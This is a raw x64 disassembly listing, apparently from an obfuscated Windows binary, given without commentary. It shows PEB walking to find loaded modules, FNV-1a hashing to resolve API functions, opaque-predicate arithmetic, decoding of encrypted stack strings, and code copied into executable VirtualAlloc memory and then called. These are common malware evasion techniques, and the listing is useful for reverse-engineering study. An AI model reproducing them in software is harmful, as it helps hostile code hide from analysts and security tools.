mulsd xmm0, qword [rsp + 0x20]
cvttsd2si eax, xmm0
mov dword [rbp + 0x18], eax
lea ecx, [r14 + r15]
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ecx, [rcx + r14*2]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, dword [rbp + 0x18]
test eax, eax
je 0x14008e15f
mov rdx, qword [0x140231298]
test rdx, rdx
jne 0x14008e14a
mov esi, r10d
mov r14d, 0xcded1a85
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rbx, r15
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x14008e0c0
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14008e0b7
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14008e0a8
cmp edx, esi
jne 0x14008e127
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14008e124
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14008e124
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14008e10c
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14008e101
cmp edx, r14d
je 0x14008e237
test r11d, r11d
jne 0x14008e0ec
xor r10d, r10d
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r15
je 0x14008e13c
cmp qword [rax + 0x30], r10
jne 0x14008e07d
mov rdx, r10
mov qword [0x140231298], rdx
mov r15d, dword [rbp - 0x78]
mov ebx, 0x992b
mov ecx, ebx
call rdx
mov ecx, ebx
int 0x29
xor r10d, r10d
mov r9d, dword [rsp + 0x50]
mov ebx, dword [rbp + 0x1c]
lea ecx, [rbx + r15]
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ecx, [rcx + rbx*2]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008e43a
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mov rax, qword [rbp + 0x60]
and eax, 1
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm1, xmm0
movsd qword [rsp + 0x20], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008e2ad
call fcn.1400a457c
movsx edx, al
movsx eax, byte [0x14022ead4]
imul edx, eax
lea r8d, [rdx + rdx*4]
call fcn.1400a4588
movsx ecx, al
sub r8d, ecx
call fcn.1400a4580
movsx ecx, al
add r8d, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, r8d
je 0x14008e2ad
mov dword [rbp + 0x20], 0xa
jmp 0x14008e303
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x14008e13f
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x14008e13f
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14008e281
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14008e273
inc rdx
xor r10d, r10d
jmp 0x14008e29f
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x14008e28f
mov rbx, qword [r15]
jmp 0x14008e127
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r15d
lea eax, [rax + rbx*2]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008e303
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x20]
cvttsd2si eax, xmm0
mov dword [rbp + 0x20], eax
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r15d
lea eax, [rax + rbx*4]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, dword [rbp + 0x20]
test eax, eax
je 0x14008e43a
mov rdx, qword [0x140231298]
test rdx, rdx
jne 0x14008e42d
mov esi, r10d
mov r14d, 0xcded1a85
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rbx, r15
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x14008e3a3
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14008e39a
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14008e38b
cmp edx, esi
jne 0x14008e40a
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14008e407
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14008e407
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14008e3ef
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14008e3e4
cmp edx, r14d
je 0x14008e689
test r11d, r11d
jne 0x14008e3cf
xor r10d, r10d
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r15
je 0x14008e41f
cmp qword [rax + 0x30], r10
jne 0x14008e360
mov rdx, r10
mov qword [0x140231298], rdx
mov r15d, dword [rbp - 0x78]
mov ebx, 0x992b
mov ecx, ebx
call rdx
mov ecx, ebx
int 0x29
mov dword [rsp + 0x60], 0xfffaf2dc
mov dword [rsp + 0x64], 0xa5f4cef9
mov dword [rsp + 0x68], 0x6bc7c6f0
xor eax, eax
mov qword [rsp + 0x6c], rax
mov word [rsp + 0x74], ax
mov byte [rsp + 0x76], al
xor r14d, r14d
mov qword [rsp + 0x20], r14
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x20]
mov rax, qword [rsp + 0x20]
movzx edx, byte [rsp + rax + 0x60]
movabs rax, 0xab2e0b4040670d91
add rcx, rax
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 9
mov rax, qword [rsp + 0x20]
mov byte [rsp + rax + 0x60], r8b
mov rax, qword [rsp + 0x20]
inc rax
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
cmp rax, 0x17
jb 0x14008e46f
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], r14
mov qword [rbp - 0x28], r14
lea rax, [rsp + 0x60]
mov r8, r13
inc r8
cmp byte [rax + r8], r14b
jne 0x14008e4d8
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x40]
call fcn.1400380e0
nop
mov esi, 3
mov dword [rsp + 0x30], 0x1040803
mov dword [rsp + 0x34], 0x41411d15
mov dword [rsp + 0x38], 0x17161146
mov byte [rsp + 0x3c], 0x78
xor eax, eax
mov qword [rsp + 0x3d], rax
mov word [rsp + 0x45], ax
mov qword [rsp + 0x20], r14
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x20]
mov rax, qword [rsp + 0x20]
movzx edx, byte [rsp + rax + 0x30]
movabs rax, 0xd610086eda1e056e
add rcx, rax
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 2
mov rax, qword [rsp + 0x20]
mov byte [rsp + rax + 0x30], r8b
mov rax, qword [rsp + 0x20]
inc rax
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
cmp rax, 0x17
jb 0x14008e528
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], r14
mov qword [rbp - 8], r14
lea rax, [rsp + 0x30]
mov r8, r13
inc r8
cmp byte [rax + r8], r14b
jne 0x14008e591
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x20]
call fcn.1400380e0
nop
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 0x20]
call fcn.1400541d4
xor edx, edx
mov r8d, 0x8000
mov rcx, qword [rbp - 0x80]
call rax
nop
mov rdx, qword [rbp - 8]
mov edi, 0x1000
cmp rdx, 0xf
jbe 0x14008e601
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, rdi
jb 0x14008e5fc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14008e71b
call fcn.140123c04
mov qword [rbp - 0x10], r14
mov qword [rbp - 8], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x20], r14b
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x14008e648
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, rdi
jb 0x14008e643
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14008e722
call fcn.140123c04
mov qword [rbp - 0x30], r14
mov qword [rbp - 0x28], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x40], r14b
mov ecx, dword [rbp + 0x24]
inc ecx
mov dword [rbp + 0x24], ecx
cmp ecx, 0xc8
jl 0x14008d0ee
mov r11d, dword [rbp + 0x28]
inc r11d
mov dword [rbp + 0x28], r11d
mov r10d, dword [rsp + 0x50]
mov r9d, dword [rbp + 0x2c]
mov ecx, dword [rsp + 0x28]
jmp 0x14008cfcf
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x14008e422
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x14008e422
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14008e6d3
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14008e6c5
inc rdx
xor r10d, r10d
jmp 0x14008e6f1
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x14008e6e1
mov rbx, qword [r15]
jmp 0x14008e40a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov dword [rbp - 0x70], 0xbd6e40b
mov dword [rbp - 0x6c], 0xeaf5e2e6
mov dword [rbp - 0x68], 0xea07e2e3
mov dword [rbp - 0x64], 0xe111420
mov dword [rbp - 0x60], 0x1d1d1024
mov dword [rbp - 0x5c], 0x1e1212f4
mov word [rbp - 0x58], 0x2803
mov byte [rbp - 0x56], 0xa2
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x55], xmm0
mov dword [rbp - 0x45], eax
mov qword [rsp + 0x20], r14
jmp 0x14008e7b4
mov r8, qword [rsp + 0x20]
mov rax, qword [rsp + 0x20]
movzx edx, byte [rbp + rax - 0x70]
movabs rax, 0x72f0825f9ee65774
add r8, rax
mov eax, edx
and rax, r8
imul rcx, rax, 0xfffffffffffffffe
add rcx, rdx
add rcx, r8
sub cl, 0x2c
mov rax, qword [rsp + 0x20]
mov byte [rbp + rax - 0x70], cl
mov rax, qword [rsp + 0x20]
inc rax
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
cmp rax, 0x2f
jb 0x14008e770
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x30], xmm1
lea rax, [rbp - 0x70]
mov r8, r13
inc r8
cmp byte [rax + r8], r14b
jne 0x14008e7d5
lea rdx, [rbp - 0x70]
lea rcx, [rbp - 0x40]
call fcn.1400380e0
nop
mov dword [rsp + 0x30], 0xcdf0c4cb
mov dword [rsp + 0x34], 0xc6c4c9c1
mov dword [rsp + 0x38], 0xcf84ccfb
mov word [rsp + 0x3c], 0xc1c0
mov byte [rsp + 0x3e], WSAGetLastError
xor eax, eax
mov qword [rsp + 0x3f], rax
mov byte [rsp + 0x47], al
mov qword [rsp + 0x20], r14
jmp 0x14008e869
mov rcx, qword [rsp + 0x20]
mov rax, qword [rsp + 0x20]
movzx edx, byte [rsp + rax + 0x30]
movabs rax, 0xc207da83461d0190
add rcx, rax
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x10
mov rax, qword [rsp + 0x20]
mov byte [rsp + rax + 0x30], r8b
mov rax, qword [rsp + 0x20]
inc rax
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
cmp rax, 0x18
jb 0x14008e822
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
lea rax, [rsp + 0x30]
inc r13
cmp byte [rax + r13], r14b
jne 0x14008e888
mov r8, r13
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x20]
call fcn.1400380e0
nop
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 0x20]
call fcn.14005a424
mov rdi, rax
lea rcx, [rbp - 0x20]
call fcn.140044320
nop
lea rcx, [rbp - 0x40]
call fcn.140044320
mov ecx, dword [rbp + 0x68]
and ecx, 0xfffffff7
or ecx, 7
mov dword [rbp + 0x68], ecx
mov r13d, 1
mov dword [rbp + 0x6c], r13d
mov dword [rbp + 0x70], 7
mov dword [rbp + 0x74], esi
mov dword [rbp + 0x78], r13d
mov qword [rbp - 0x80], 4
lea rax, [rbp + 0x68]
mov qword [rbp + 0x50], rax
mov dword [rsp + 0x28], r13d
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
lea rax, [rbp + 0xb8]
movabs rcx, 0xff00ff00ff00ff07
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x40], rax
mov rbx, qword [rax]
xor rbx, rcx
mov qword [rsp + 0x30], rbx
mov qword [rax], r14
mov ecx, r14d
lea r15, [0x140047234]
mov rax, qword [0x14022f190]
lea r12, [0x140000000]
test rax, rax
je 0x14008e97b
mov r10, r14
cmp rax, r15
je 0x14008e96a
add ecx, r13d
mov r10d, ecx
mov rax, qword [r12 + rcx*8 + 0x22f190]
test rax, rax
jne 0x14008e950
jmp 0x14008e97b
mov r10, qword [r12 + r10*8 + 0x22f4b0]
test r10, r10
jne 0x14008ea58
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
test rax, rax
jne 0x14008e9a2
mov r10, r14
jmp 0x14008ea37
mov rax, r15
mov rcx, r10
mov rdx, rsi
mov r9d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r9
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r9
sub rdx, 1
jne 0x14008e9b1
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14022f180]
mov qword [r12 + rax*8 + 0x22f190], r15
mov qword [r12 + rax*8 + 0x22f4b0], r10
add rax, r13
mov qword [0x14022f180], rax
lea r9, [rbp - 0x80]
lea r8, [rbp + 0x50]
lea rdx, [rsp + 0x28]
mov rcx, rdi
call r10
nop
mov qword [rbp - 0x80], 4
lea rax, [rbp + 0x6c]
mov qword [rbp + 0x50], rax
mov eax, 8
mov dword [rsp + 0x28], eax
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
lea rax, [rbp + 0xb8]
movabs rcx, 0xff00ff00ff00ff07
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x30], rbx
mov qword [rax], r14
mov ecx, r14d
lea r15, [0x140047234]
mov rax, qword [0x14022f7e0]
test rax, rax
je 0x14008eaf4
mov r10, r14
cmp rax, r15
je 0x14008eae3
add ecx, r13d
mov r10d, ecx
mov rax, qword [r12 + rcx*8 + 0x22f7e0]
test rax, rax
jne 0x14008eac9
jmp 0x14008eaf4
mov r10, qword [r12 + r10*8 + 0x22fb00]
test r10, r10
jne 0x14008ebd1
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
test rax, rax
jne 0x14008eb1b
mov r10, r14
jmp 0x14008ebb0
mov rax, r15
mov rcx, r10
mov rdx, rsi
mov r8d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r8
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r8
sub rdx, 1
jne 0x14008eb2a
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14022f7d0]
mov qword [r12 + rax*8 + 0x22f7e0], r15
mov qword [r12 + rax*8 + 0x22fb00], r10
add rax, r13
mov qword [0x14022f7d0], rax
lea r9, [rbp - 0x80]
lea r8, [rbp + 0x50]
lea rdx, [rsp + 0x28]
mov rcx, rdi
call r10
nop
mov qword [rbp - 0x80], 4
lea rax, [rbp + 0x70]
mov qword [rbp + 0x50], rax
mov dword [rsp + 0x28], 0xa
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
lea rax, [rbp + 0xb8]
movabs rcx, 0xff00ff00ff00ff07
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x30], rbx
mov qword [rax], r14
mov ecx, r14d
lea r15, [0x140047234]
mov rax, qword [0x14022fe30]
test rax, rax
je 0x14008ec6c
mov r10, r14
cmp rax, r15
je 0x14008ec5b
add ecx, r13d
mov r10d, ecx
mov rax, qword [r12 + rcx*8 + 0x22fe30]
test rax, rax
jne 0x14008ec41
jmp 0x14008ec6c
mov r10, qword [r12 + r10*8 + 0x230150]
test r10, r10
jne 0x14008ed49
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
test rax, rax
jne 0x14008ec93
mov r10, r14
jmp 0x14008ed28
mov rax, r15
mov rcx, r10
mov rdx, rsi
mov r8d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r8
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r8
sub rdx, 1
jne 0x14008eca2
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14022fe20]
mov qword [r12 + rax*8 + 0x22fe30], r15
mov qword [r12 + rax*8 + 0x230150], r10
add rax, r13
mov qword [0x14022fe20], rax
lea r9, [rbp - 0x80]
lea r8, [rbp + 0x50]
lea rdx, [rsp + 0x28]
mov rcx, rdi
call r10
nop
mov qword [rbp - 0x80], 4
lea rax, [rbp + 0x74]
mov qword [rbp + 0x50], rax
mov dword [rsp + 0x28], esi
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
lea rax, [rbp + 0xb8]
movabs rcx, 0xff00ff00ff00ff07
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x30], rbx
mov qword [rax], r14
mov ecx, r14d
lea r15, [0x140047234]
mov rax, qword [0x140230480]
test rax, rax
je 0x14008ede0
mov r10, r14
cmp rax, r15
je 0x14008edcf
add ecx, r13d
mov r10d, ecx
mov rax, qword [r12 + rcx*8 + 0x230480]
test rax, rax
jne 0x14008edb5
jmp 0x14008ede0
mov r10, qword [r12 + r10*8 + 0x2307a0]
test r10, r10
jne 0x14008eebd
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
test rax, rax
jne 0x14008ee07
mov r10, r14
jmp 0x14008ee9c
mov rax, r15
mov rcx, r10
mov rdx, rsi
mov r8d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r8
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r8
sub rdx, 1
jne 0x14008ee16
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140230470]
mov qword [r12 + rax*8 + 0x230480], r15
mov qword [r12 + rax*8 + 0x2307a0], r10
add rax, r13
mov qword [0x140230470], rax
lea r9, [rbp - 0x80]
lea r8, [rbp + 0x50]
lea rdx, [rsp + 0x28]
mov rcx, rdi
call r10
nop
mov qword [rbp - 0x80], 4
lea rax, [rbp + 0x78]
mov qword [rbp + 0x50], rax
mov dword [rsp + 0x28], 9
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
lea r12, [rbp + 0xb8]
movabs rax, 0xff00ff00ff00ff07
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x30], rbx
mov qword [r12], r14
mov ecx, r14d
lea r15, [0x140047234]
mov rax, qword [0x140230ad0]
test rax, rax
je 0x14008ef60
mov r10, r14
lea rdx, [0x140000000]
cmp rax, r15
je 0x14008ef4f
add ecx, r13d
mov r10d, ecx
mov rax, qword [rdx + rcx*8 + 0x230ad0]
test rax, rax
jne 0x14008ef35
jmp 0x14008ef60
mov r10, qword [rdx + r10*8 + 0x230df0]
test r10, r10
jne 0x14008f040
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
test rax, rax
jne 0x14008ef87
mov r10, r14
jmp 0x14008f018
mov rax, r15
mov rcx, r10
mov edx, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, rdx
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, rdx
sub rsi, 1
jne 0x14008ef92
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140230ac0]
lea rcx, [0x140000000]
mov qword [rcx + rax*8 + 0x230ad0], r15
mov qword [rcx + rax*8 + 0x230df0], r10
add rax, r13
mov qword [0x140230ac0], rax
